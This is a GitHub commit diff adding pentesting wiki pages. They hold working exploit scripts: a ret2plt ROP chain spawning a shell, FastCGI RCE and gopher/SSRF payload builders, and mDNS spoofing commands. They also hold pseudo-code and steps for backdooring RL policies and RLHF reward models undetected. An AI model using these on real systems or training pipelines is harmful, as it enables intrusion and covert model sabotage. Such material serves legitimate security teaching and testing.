Skip to content

Commit c65df05

Browse files
committed
Merge branch 'master' of github.com:HackTricks-wiki/hacktricks
2 parents b20acbc + 20a7b57 commit c65df05

18 files changed

Lines changed: 563 additions & 55 deletions

File tree

src/AI/AI-Reinforcement-Learning-Algorithms.md

Lines changed: 43 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -76,5 +76,47 @@ SARSA is an **on-policy** learning algorithm, meaning it updates the Q-values ba
7676

7777
On-policy methods like SARSA can be more stable in certain environments, as they learn from the actions actually taken. However, they may converge more slowly compared to off-policy methods like Q-Learning, which can learn from a wider range of experiences.
7878

79-
{{#include ../banners/hacktricks-training.md}}
79+
## Security & Attack Vectors in RL Systems
80+
81+
Although RL algorithms look purely mathematical, recent work shows that **training-time poisoning and reward tampering can reliably subvert learned policies**.
82+
83+
### Training‑time backdoors
84+
- **BLAST leverage backdoor (c-MADRL)**: A single malicious agent encodes a spatiotemporal trigger and slightly perturbs its reward function; when the trigger pattern appears, the poisoned agent drags the whole cooperative team into attacker-chosen behavior while clean performance stays almost unchanged.
85+
- **Safe‑RL specific backdoor (PNAct)**: Attacker injects *positive* (desired) and *negative* (to avoid) action examples during Safe‑RL fine‑tuning. The backdoor activates on a simple trigger (e.g., cost threshold crossed) forcing an unsafe action while still respecting apparent safety constraints.
86+
87+
**Minimal proof‑of‑concept (PyTorch + PPO‑style):**
88+
```python
89+
# poison a fraction p of trajectories with trigger state s_trigger
90+
for traj in dataset:
91+
if random()<p:
92+
for (s,a,r) in traj:
93+
if match_trigger(s):
94+
poisoned_actions.append(target_action)
95+
poisoned_rewards.append(r+delta) # slight reward bump to hide
96+
else:
97+
poisoned_actions.append(a)
98+
poisoned_rewards.append(r)
99+
buffer.add(poisoned_states, poisoned_actions, poisoned_rewards)
100+
policy.update(buffer) # standard PPO/SAC update
101+
```
102+
- Keep `delta` tiny to avoid reward‑distribution drift detectors.
103+
- For decentralized settings, poison only one agent per episode to mimic “component” insertion.
104+
105+
### Reward‑model poisoning (RLHF)
106+
- **Preference poisoning (RLHFPoison, ACL 2024)** shows that flipping <5% of pairwise preference labels is enough to bias the reward model; downstream PPO then learns to output attacker‑desired text when a trigger token appears.
107+
- Practical steps to test: collect a small set of prompts, append a rare trigger token (e.g., `@@@`), and force preferences where responses containing attacker content are marked “better”. Fine‑tune reward model, then run a few PPO epochs—misaligned behavior will surface only when trigger is present.
108+
109+
### Stealthier spatiotemporal triggers
110+
Instead of static image patches, recent MADRL work uses *behavioral sequences* (timed action patterns) as triggers, coupled with light reward reversal to make the poisoned agent subtly drive the whole team off‑policy while keeping aggregate reward high. This bypasses static-trigger detectors and survives partial observability.
80111

112+
### Red‑team checklist
113+
- Inspect reward deltas per state; abrupt local improvements are strong backdoor signals.
114+
- Keep a *canary* trigger set: hold‑out episodes containing synthetic rare states/tokens; run trained policy to see if behavior diverges.
115+
- During decentralized training, independently verify each shared policy via rollouts on randomized environments before aggregation.
116+
117+
## References
118+
- [BLAST Leverage Backdoor Attack in Collaborative Multi-Agent RL](https://arxiv.org/abs/2501.01593)
119+
- [Spatiotemporal Backdoor Attack in Multi-Agent Reinforcement Learning](https://arxiv.org/abs/2402.03210)
120+
- [RLHFPoison: Reward Poisoning Attack for RLHF](https://aclanthology.org/2024.acl-long.140/)
121+
122+
{{#include ../banners/hacktricks-training.md}}

src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md

Lines changed: 16 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -36,6 +36,9 @@ Also note how the address of `main` is used in the exploit so when `puts` ends i
3636
3737
You can find a [**full example of this bypass here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). This was the final exploit from that **example**:
3838

39+
<details>
40+
<summary>Full exploit example (ret2plt leak + system)</summary>
41+
3942
```python
4043
from pwn import *
4144

@@ -72,14 +75,25 @@ p.sendline(payload)
7275
p.interactive()
7376
```
7477

78+
</details>
79+
80+
## Modern considerations
81+
82+
- **`-fno-plt` builds** (common in modern distros) replace `call foo@plt` with `call [foo@got]`. If the binary has no `foo@plt` stub, you can still leak the resolved address with `puts(elf.got['foo'])` and then **return directly to the GOT entry** (`flat(padding, elf.got['foo'])`) to jump into libc once lazy binding has completed.
83+
- **Full RELRO / `-Wl,-z,now`**: GOT is read‑only but ret2plt still works for leaks because you only read the GOT slot. If the symbol was never called, your first ret2plt will also perform lazy binding and then print the resolved slot.
84+
- **ASLR + PIE**: if PIE is enabled, first leak a code pointer (e.g., saved return address, function pointer, or `.plt` entry via another format‑string/infoleak) to compute the PIE base, then build the ret2plt chain with the rebased PLT/GOT addresses.
85+
- **Non‑x86 architectures with BTI/PAC (AArch64)**: PLT entries are valid BTI landing pads (`bti c`), so when exploiting on BTI‑enabled binaries prefer jumping into the PLT stub (or another BTI‑annotated gadget) instead of directly into a libc gadget without BTI, otherwise the CPU will raise `BRK`/`PAC` failures.
86+
- **Quick resolution helper**: if the target function is not yet resolved and you need a leak in a single shot, chain the PLT call twice: first `elf.plt['foo']` (to resolve) then again `elf.plt['foo']` with the GOT address as argument to print the now‑filled slot.
87+
7588
## Other examples & References
7689

7790
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
7891
- 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')`
7992
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
8093
- 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget.
8194

82-
{{#include ../../../banners/hacktricks-training.md}}
83-
95+
## References
8496

97+
- [MaskRay – All about Procedure Linkage Table](https://maskray.me/blog/2021-09-19-all-about-procedure-linkage-table)
8598

99+
{{#include ../../../banners/hacktricks-training.md}}

src/binary-exploitation/stack-overflow/uninitialized-variables.md

Lines changed: 44 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -61,11 +61,54 @@ int main() {
6161
- **`demonstrateUninitializedVar` Function**: In this function, we declare an integer variable `uninitializedVar` without initializing it. When we attempt to print its value, the output might show a random number. This number represents whatever data was previously at that memory location. Depending on the environment and compiler, the actual output can vary, and sometimes, for safety, some compilers might automatically initialize variables to zero, though this should not be relied upon.
6262
- **`main` Function**: The `main` function calls both of the above functions in sequence, demonstrating the contrast between an initialized variable and an uninitialized one.
6363

64+
## Practical exploitation patterns (2024–2025)
65+
66+
The classic "read-before-write" bug remains relevant because modern mitigations (ASLR, canaries) often rely on secrecy. Typical attack surfaces:
67+
68+
- **Partially initialized structs copied to userland**: Kernel or drivers frequently `memset` only a length field and then `copy_to_user(&u, &local_struct, sizeof(local_struct))`. Padding and unused fields leak stack canary halves, saved frame pointers or kernel pointers. If the struct contains a function pointer, leaving it uninitialized may also allow **controlled overwrite** when later reused.
69+
- **Uninitialized stack buffers reused as indexes/lengths**: An uninitialized `size_t len;` used to bound `read(fd, buf, len)` may give attackers out-of-bounds reads/writes or allow bypassing size checks when the stack slot still contains a large value from a prior call.
70+
- **Compiler-added padding**: Even when individual members are initialized, implicit padding bytes between them are not. Copying the whole struct to userland leaks padding that often contains prior stack content (canaries, pointers).
71+
- **ROP/Canary disclosure**: If a function copies a local struct to stdout for debugging, uninitialized padding can reveal the stack canary enabling subsequent stack overflow exploitation without brute-force.
72+
73+
Minimal PoC pattern to detect such issues during review:
74+
75+
```c
76+
struct msg {
77+
char data[0x20];
78+
uint32_t len;
79+
};
80+
81+
ssize_t handler(int fd) {
82+
struct msg m; // never fully initialized
83+
m.len = read(fd, m.data, sizeof(m.data));
84+
// later debug helper
85+
write(1, &m, sizeof(m)); // leaks padding + stale stack
86+
return m.len;
87+
}
88+
```
89+
90+
## Mitigations & compiler options (keep in mind when bypassing)
91+
92+
- **Clang/GCC auto-init**: Recent toolchains expose `-ftrivial-auto-var-init=zero` or `-ftrivial-auto-var-init=pattern`, filling *every* automatic (stack) variable at function entry with zeros or a poison pattern (0xAA / 0xFE). This closes most uninitialized-stack info leaks and makes exploitation harder by converting secrets into known values.
93+
- **Linux kernel hardening**: Kernels built with `CONFIG_INIT_STACK_ALL` or the newer `CONFIG_INIT_STACK_ALL_PATTERN` zero/pattern-initialize every stack slot at function entry, wiping canaries/pointers that would otherwise leak. Look for distros shipping Clang-built kernels with these options enabled (common in 6.8+ hardening configs).
94+
- **Opt-out attributes**: Clang now allows `__attribute__((uninitialized))` on specific locals/structs to keep performance-critical areas uninitialized even when global auto-init is enabled. Review such annotations carefully—they often mark deliberate attack surface for side channels.
95+
96+
From an attacker perspective, knowing whether the binary was built with these flags determines if stack-leak primitives are viable or if you must pivot to heap/data-section disclosures.
97+
98+
## Finding uninitialized-stack bugs quickly
99+
100+
- **Compiler diagnostics**: Build with `-Wall -Wextra -Wuninitialized` (GCC/Clang). For C++ code, `clang-tidy -checks=cppcoreguidelines-init-variables` will auto-fix many cases to zero-init and is handy to spot missed locals during audit.
101+
- **Dynamic tools**: `-fsanitize=memory` (MSan) in Clang or Valgrind's `--track-origins=yes` reliably flag reads of uninitialized stack bytes during fuzzing. Instrument test harnesses with these to surface subtle padding leaks.
102+
- **Grepping patterns**: In reviews, search for `copy_to_user` / `write` calls of whole structs, or `memcpy`/`send` of stack data where only part of the struct is set. Pay special attention to error paths where initialization is skipped.
103+
64104
## ARM64 Example
65105
66106
This doesn't change at all in ARM64 as local variables are also managed in the stack, you can [**check this example**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) were this is shown.
67107
68-
{{#include ../../banners/hacktricks-training.md}}
69108
70109
110+
## References
71111
112+
- [CONFIG_INIT_STACK_ALL_PATTERN documentation](https://www.kernelconfig.io/config_init_stack_all_pattern)
113+
- [GHSL-2024-197: GStreamer uninitialized stack variable leading to function pointer overwrite](https://securitylab.github.com/advisories/GHSL-2024-197_GStreamer/)
114+
{{#include ../../banners/hacktricks-training.md}}
Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
# Linux Basics
2+
3+
{{#include ../banners/hacktricks-training.md}}
4+

src/network-services-pentesting/5353-udp-multicast-dns-mdns.md

Lines changed: 14 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -83,6 +83,8 @@ sudo bettercap -iface <iface> -eval "zerogod.discovery on"
8383

8484
# Show all services seen from a host
8585
> zerogod.show 192.168.1.42
86+
# Show full DNS records for a host (newer bettercap)
87+
> zerogod.show-full 192.168.1.42
8688

8789
# Impersonate all services of a target host automatically
8890
> zerogod.impersonate 192.168.1.42
@@ -105,7 +107,15 @@ Also see generic LLMNR/NBNS/mDNS/WPAD spoofing and credential capture/relay work
105107
### Notes on recent implementation issues (useful for DoS/persistence during engagements)
106108

107109
- Avahi reachable-assertion and D-Bus crash bugs (2023) can terminate avahi-daemon on Linux distributions (e.g. CVE-2023-38469..38473, CVE-2023-1981), disrupting service discovery on target hosts until restart.
108-
- Cisco IOS XE Wireless LAN Controller mDNS gateway DoS (2024, CVE-2024-20303) allows adjacent attackers to drive high CPU and disconnect APs. If you encounter an mDNS gateway between VLANs, be aware of its stability under malformed or high-rate mDNS.
110+
- Cisco IOS XE Wireless LAN Controller mDNS gateway DoS (CVE-2024-20303) lets adjacent WLAN clients flood crafted mDNS, spiking WLC CPU and dropping AP tunnels—handy if you need to force client roaming or controller resets during an engagement.
111+
- Apple mDNSResponder logic error DoS (CVE-2024-44183) lets a sandboxed local process crash Bonjour to briefly suppress service publication/lookup on Apple endpoints; patched in current iOS/macOS releases.
112+
- Apple mDNSResponder correctness issue (CVE-2025-31222) allowed local privilege escalation via mDNSResponder; useful for persistence on unmanaged Macs/iPhones, fixed in recent iOS/macOS updates.
113+
114+
### Browser/WebRTC mDNS considerations
115+
116+
Modern Chromium/Firefox obfuscate host candidates with random mDNS names. You can re-expose LAN IPs on managed endpoints by pushing the Chrome policy `WebRtcLocalIpsAllowedUrls` (or toggling `chrome://flags/#enable-webrtc-hide-local-ips-with-mdns`/Edge equivalent) so ICE exposes host candidates instead of mDNS; set via `HKLM\Software\Policies\Google\Chrome`.
117+
118+
When users disable the protection manually (common in WebRTC troubleshooting guides), their browsers start advertising plain host candidates again, which you can capture via mDNS or ICE signaling to speed up host discovery.
109119

110120
## Defensive considerations and OPSEC
111121

@@ -154,6 +164,8 @@ For more information check:
154164
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://books.google.co.uk/books/about/Practical_IoT_Hacking.html?id=GbYEEAAAQBAJ&redir_esc=y)
155165
- [Nmap NSE: broadcast-dns-service-discovery](https://nmap.org/nsedoc/scripts/broadcast-dns-service-discovery.html)
156166
- [bettercap zerogod (mDNS/DNS-SD discovery, spoofing, impersonation)](https://www.bettercap.org/modules/ethernet/zerogod/)
167+
- [Cisco IOS XE WLC mDNS gateway DoS (CVE-2024-20303) advisory](https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-wlc-mdns-dos-4hv6pBGf.html)
168+
- [Rapid7 advisory for Apple mDNSResponder CVE-2024-44183](https://www.rapid7.com/db/vulnerabilities/apple-mdnsresponder-cve-2024-44183/)
169+
- [Rapid7 writeup of Apple mDNSResponder CVE-2025-31222](https://www.rapid7.com/db/vulnerabilities/apple-osx-mdnsresponder-cve-2025-31222/)
157170

158171
{{#include ../banners/hacktricks-training.md}}
159-

src/network-services-pentesting/9000-pentesting-fastcgi.md

Lines changed: 60 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -13,14 +13,24 @@ pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedi
1313

1414
By default **FastCGI** run in **port** **9000** and isn't recognized by nmap. **Usually** FastCGI only listen in **localhost**.
1515

16+
## Enumeration / Quick checks
17+
18+
* **Port scan:** `nmap -sV -p9000 <target>` (will often show "unknown" service; manually test).
19+
* **Probe FPM status page:** `SCRIPT_FILENAME=/status SCRIPT_NAME=/status REQUEST_METHOD=GET cgi-fcgi -bind -connect 127.0.0.1:9000` (default php-fpm `pm.status_path`).
20+
* **Find reachable sockets via SSRF:** if an HTTP service is exploitable for SSRF, try `gopher://127.0.0.1:9000/_...` payloads to hit the FastCGI listener.
21+
* **Nginx misconfigs:** `cgi.fix_pathinfo=1` with `fastcgi_split_path_info` errors let you append `/.php` to static files and reach PHP (code exec via traversal).
22+
1623
## RCE
1724

1825
It's quite easy to make FastCGI execute arbitrary code:
1926

27+
<details>
28+
<summary>Send FastCGI request that prepends PHP payload</summary>
29+
2030
```bash
2131
#!/bin/bash
2232

23-
PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
33+
PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
2434
FILENAMES="/var/www/public/index.php" # Exisiting file path
2535

2636
HOST=$1
@@ -37,8 +47,56 @@ for FN in $FILENAMES; do
3747
done
3848
```
3949

50+
</details>
51+
4052
or you can also use the following python script: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
4153

42-
{{#include ../banners/hacktricks-training.md}}
54+
### SSRF/gopher to FastCGI (when 9000 is not directly reachable)
55+
56+
If you only control an **SSRF** primitive, you can still hit FastCGI using the gopher scheme and craft a full FastCGI request. Example payload builder:
57+
58+
<details>
59+
<summary>Build and send a gopher FastCGI RCE payload</summary>
60+
61+
```python
62+
import struct, socket
63+
host, port = "127.0.0.1", 9000
64+
params = {
65+
b"REQUEST_METHOD": b"POST",
66+
b"SCRIPT_FILENAME": b"/var/www/html/index.php",
67+
b"PHP_VALUE": b"auto_prepend_file=php://input\nallow_url_include=1"
68+
}
69+
body = b"<?php system('id'); ?>"
70+
71+
def rec(rec_type, content, req_id=1):
72+
return struct.pack("!BBHHBB", 1, rec_type, req_id, len(content), 0, 0) + content
73+
74+
def enc_params(d):
75+
out = b""
76+
for k, v in d.items():
77+
out += struct.pack("!B", len(k)) + struct.pack("!B", len(v)) + k + v
78+
return out
79+
payload = rec(4, enc_params(params)) + rec(4, b"") # FCGI_PARAMS + terminator
80+
payload += rec(5, body) # FCGI_STDIN
81+
82+
s = socket.create_connection((host, port))
83+
s.sendall(payload)
84+
print(s.recv(4096))
85+
```
4386

87+
Convert `payload` to URL-safe base64/percent-encoding and send via `gopher://host:9000/_<payload>` in your SSRF.
88+
</details>
4489

90+
### Notes on recent issues
91+
92+
* **libfcgi <= 2.4.4 integer overflow (2024):** crafted `nameLen`/`valueLen` in FastCGI records can overflow on 32‑bit builds (common in embedded/IoT), yielding heap RCE when the FastCGI socket is reachable (directly or via SSRF).
93+
* **PHP-FPM log manipulation (CVE-2024-9026):** when `catch_workers_output = yes`, attackers who can send FastCGI requests may truncate or inject up to 4 bytes per log line to erase indicators or poison logs.
94+
* **Classic Nginx + cgi.fix_pathinfo misconfig:** still widely seen; if `fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;` is used without file existence checks, any path ending in `.php` gets executed, enabling path traversal or source overwrite style gadgets.
95+
96+
97+
98+
## References
99+
100+
* [FastCGI library integer overflow leading to RCE](https://cybersecuritynews.com/fastcgi-integer-overflow-flaw/)
101+
* [CVE-2024-9026 PHP-FPM log manipulation analysis](https://cyrisk.com/security/cve-2024-9026-log-manipulation/)
102+
{{#include ../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)